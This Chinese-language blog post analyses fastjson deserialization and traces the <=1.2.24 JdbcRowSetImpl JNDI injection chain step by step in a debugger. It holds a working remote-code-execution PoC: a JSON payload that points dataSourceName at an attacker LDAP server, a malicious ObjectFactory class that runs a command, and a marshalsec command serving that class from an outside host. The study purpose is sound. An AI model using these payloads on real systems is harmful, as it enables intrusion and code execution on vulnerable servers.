fastjson反序列化

https://github.com/mbechler/marshalsec

fastjson反序列化

fastjson三种反序列化方式的差异

参考:
https://xz.aliyun.com/t/7027
在这里插入图片描述

1、返回结果的对象类型不同

说明:
使用

JSON.parse(serializedStr);

或者

JSON.parseObject(serializedStr);    // 不指定具体类

得到的对象为com.alibaba.fastjson.JSONObject类型,也就是json字符串。
使用

JSON.parseObject(serializedStr,User.class);   // 指定具体类,这里为com.cqq.User类

得到的对象类型为com.cqq.User

PS:查看JSON.parseObject的具体实现,发现其实最终还是调用了JSON.parse
在这里插入图片描述
//TODO 后续再深入

2、执行过程中调用的方法不同

使用FastJsonTest进行测试,发现在反序列化中调用的方法不同。
在这里插入图片描述
发现这三种方式都会调用目标类的set方法,但是只有

JSON.parseObject(payload);

会调用目标类的get方法。
调用栈如下:
在这里插入图片描述
就是因为parseObject比其他方式多了一个toJSON操作。因为要得到json数据,就得调用目标类的get方法,拿到这个对象的某个属性值。
在这里插入图片描述

@type字段的使用

其实就是JSON.toJSONString方法多加一个参数。之前是:

String serializedStr = JSON.toJSONString(user1);

在这里插入图片描述
现在改成

String serializedStr = JSON.toJSONString(user1, SerializerFeature.WriteClassName);

在这里插入图片描述

使用Person类进行反序列化实验

测试代码如下:

package com.cqq;

import com.alibaba.fastjson.JSON;

public class Type {

    public static void main(String[] args) {
        String eneity3 = "{\"@type\":\"com.cqq.Person\", " +
                "\"name\":\"cqq\", \"full_name\":\"caiqiqi\", " +
                "\"age\": 18, \"prop\": {\"123\":123}, \"sex\": 1}";
        //反序列化
        Object obj = JSON.parseObject(eneity3, Person.class);
        //输出会调用obj对象的toString函数
        System.out.println(obj);
    }
}

Person类内容如下:

package com.cqq;

import java.util.Properties;

public class Person {
    //属性
    public String name;
    private String full_name;
    private int age;
    private Boolean sex;
    private Properties prop;
    //构造函数
    public Person(){
        System.out.println("[*] Person构造函数");
    }
    //set
    public void setAge(int age){
        System.out.println("[*] setAge()");
        this.age = age;
    }
    //get 返回Boolean
    public Boolean getSex(){
        System.out.println("[*] getSex()");
        return this.sex;
    }
    //get 返回ProPerties
    public Properties getProp(){
        System.out.println("[*] getProp()");
        return this.prop;
    }
    //在输出时会自动调用的对象ToString函数
    public String toString() {
        String s = "[Person Object] name=" + this.name
                + " full_name=" + this.full_name  + ", age=" + this.age
                + ", prop=" + this.prop + ", sex=" + this.sex;
        return s;
    }
}

在这里插入图片描述
从结果看,发现只有name和age被解析出来了。猜想分析:
1、对比name和full_name,他们的值在json数据中都指定了,而且Person类中都没有他们的set和get方法,但是name属性是public的,而full_name属性是private的。
2、age内容被输出,发现setAge()被调用了。
3、虽然getProp()方法也被调用了,但是由于prop属性是private的,且没有相应的set方法,无法将json字符串中的值赋值给对象。

然而并不是这样。

<=1.2.24 JNDI注入利用链(com.sun.rowset.JdbcRowSetImpl)

按照这张图里的描述:
在这里插入图片描述
使用JdbcRowSetImpl类作为目标类,根据PoC中指定的属性dataSourceNameautoCommit,到时候应该会调用setDataSourceName
PoC内容如下:

package com.cqq;

import com.alibaba.fastjson.JSON;
import com.cqq.User;

public class PoC {
    public static void main(String[] args) {
        String payload =   "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
                "\"dataSourceName\":\"ldap://192.168.85.129:1389/Exploit\",\"autoCommit\":true}";
        JSON.parse(payload);
    }
}

当然事先得先准备好两点:
1、待被远程下载的Exploit类;

import java.io.IOException;
import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;

public class Exploit implements ObjectFactory {
    public Exploit() {
    }

    public Object getObjectInstance(Object var1, Name var2, Context var3, Hashtable<?, ?> var4) {
        exec("xterm");
        return null;
    }

    public static String exec(String var0) {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException var2) {
            var2.printStackTrace();
        }

        return "";
    }

    public static void main(String[] var0) {
        exec("123");
    }
}

2、LDAP服务;
使用marshalsec生成:

java -cp ./target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.85.129:8090/#Exploit

表示在默认端口1389创建了LDAP服务,其内容通过http访问http://192.168.85.129:8090/#Exploit这个url获取到。

LDAP服务,和HTTP下载来的Exploit都是攻击者可控的,在客户端执行的。PoC是在fastjson开启服务的主机执行的。但是本质上这里模拟一个fastjson服务,其payload的json字符串是用户可控的。
查看一下调用栈:

Exception in thread "main" com.alibaba.fastjson.JSONException: set property error, autoCommit
	at com.alibaba.fastjson.parser.deserializer.FieldDeserializer.setValue(FieldDeserializer.java:136)
	at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:593)
	at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseRest(JavaBeanDeserializer.java:922)
	at com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_1_JdbcRowSetImpl.deserialze(Unknown Source)
	at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:184)
	at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:368)
	at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1327)
	at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1293)
	at com.alibaba.fastjson.JSON.parse(JSON.java:137)
	at com.alibaba.fastjson.JSON.parse(JSON.java:128)
	at com.cqq.PoC.main(PoC.java:10)
Caused by: java.lang.reflect.InvocationTargetException
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.lang.reflect.Method.invoke(Method.java:498)
	at com.alibaba.fastjson.parser.deserializer.FieldDeserializer.setValue(FieldDeserializer.java:96)
	... 10 more
Caused by: java.lang.NullPointerException
	at com.sun.rowset.JdbcRowSetImpl.connect(JdbcRowSetImpl.java:630)
	at com.sun.rowset.JdbcRowSetImpl.setAutoCommit(JdbcRowSetImpl.java:4067)
	... 15 more

演示

整理的流程是:

那么攻击者的流程就是这样的。攻击者准备rmi服务和web服务,将rmi绝对路径注入到lookup方法中,受害者JNDI接口会指向攻击者控制rmi服务器,JNDI接口向攻击者控制web服务器远程加载恶意代码,执行构造函数形成RCE。

来源:http://xxlegend.com/2017/12/06/%E5%9F%BA%E4%BA%8EJdbcRowSetImpl%E7%9A%84Fastjson%20RCE%20PoC%E6%9E%84%E9%80%A0%E4%B8%8E%E5%88%86%E6%9E%90/

在攻击者可控的客户端准备的条件:
1、待被远程下载的Exploit类
在这里插入图片描述
2、LDAP服务;
在这里插入图片描述
最终,在服务端执行PoC的Demo:
在这里插入图片描述
让我们去目标类下断点,进行调试。
不知道是哪里触发的,索性在两个方法setDataSourceNamesetAutoCommit都下断点:
调试发现,首先是设置DataSourceName,

C:\Program Files\Java\jdk1.8.0_172\jre\lib\rt.jar!\com\sun\rowset\JdbcRowSetImpl#setDataSourceName
在这里插入图片描述
继续跟其父类javax.sql.rowset.BaseRowSet的setDataSourceName方法:
在这里插入图片描述
这个方法的注释如下:

/**
* Sets the DataSource name property for this RowSet
* object to the given logical name and sets this RowSet object’s
* Url property to null. The name must have been bound to a
* DataSource object in a JNDI naming service so that an
* application can do a lookup using that name to retrieve the
* DataSource object bound to it. The DataSource
* object can then be used to establish a connection to the data source it
* represents.
*


* Users should set either the Url property or the dataSourceName property.
* If both properties are set, the driver will use the property set most recently.
*
* @param name a String object with the name that can be supplied
* to a naming service based on JNDI technology to retrieve the
* DataSource object that can be used to get a connection;
* may be null but must not be an empty string
* @throws SQLException if an empty string is provided as the DataSource
* name
* @see #getDataSourceName
*/

然后是设置autoCommit为true:
在com/alibaba/fastjson/parser/deserializer/FieldDeserializer#setValue

在这里插入图片描述
通过反射调用了com.sun.rowset.JdbcRowSetImpl.setAutoCommit(boolean)方法,并传入参数true
然后跟进这个setAutoCommit方法:
C:\Program Files\Java\jdk1.8.0_172\jre\lib\rt.jar!\com\sun\rowset\JdbcRowSetImpl#setAutoCommit
在这里插入图片描述
可以看到这个类是jdk自带的。
这里从业务逻辑上看应该是设置SQL执行的自动提交?但是需要先拿到一个连接(connection),若没有连接,则需要先建立一个连接,即

this.conn = this.connect();

继续跟进:
C:\Program Files\Java\jdk1.8.0_172\jre\lib\rt.jar!\com\sun\rowset\JdbcRowSetImpl#connect

看这个条件判断:

else if (this.getDataSourceName() != null)

因为我们之前已经通过setDataSourceName设置了dataSourceName的值,所以这里可以进入这个条件分支:
在这里插入图片描述
关键都在这个lookup里面了。
然后就是对这个url:

ldap://192.168.85.129:1389/Exploit

一步一步的lookup了。接下来说一下lookup的细节,
比如
C:\Program Files\Java\jdk1.8.0_172\jre\lib\rt.jar!\com\sun\jndi\url\ldap\ldapURLContext#lookup
里要判断这个url里有没有?,即是否有查询的部分:
这里提供的url是没有查询部分的,所以继续调用其父类的lookup:
在这里插入图片描述
跟进C:\Program Files\Java\jdk1.8.0_172\jre\lib\rt.jar!\com\sun\jndi\toolkit\url\GenericURLContext#lookup
在这里插入图片描述
这里通过var2.getRemainingName()得到/后面的部分,即向控制的服务器上获取Exploit.class文件。

最终一路lookup,到了这里:
javax/naming/spi/DirectoryManager.getObjectInstance()

在这里插入图片描述
然后就进入Exploit#getObjectInstance
在这里插入图片描述
在这里插入图片描述
完整调用栈如下:

exec:21, Exploit
getObjectInstance:12, Exploit
getObjectInstance:194, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
connect:624, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:593, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseRest:922, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:128, JSON (com.alibaba.fastjson)
main:10, PoC (com.cqq)

tips:
虽然大多数情况是把Exploit代码和PoC放到同一台主机上,这里我放到了网络上另外一台,但是这样做的情况是,如果不在IDEA中设置Exploit的源码或者class,IDEA是跟不到Exploit中的,所以需要手动设置一下。

发布了601 篇原创文章 · 获赞 101 · 访问量 100万+

猜你喜欢

转载自blog.csdn.net/caiqiiqi/article/details/104040324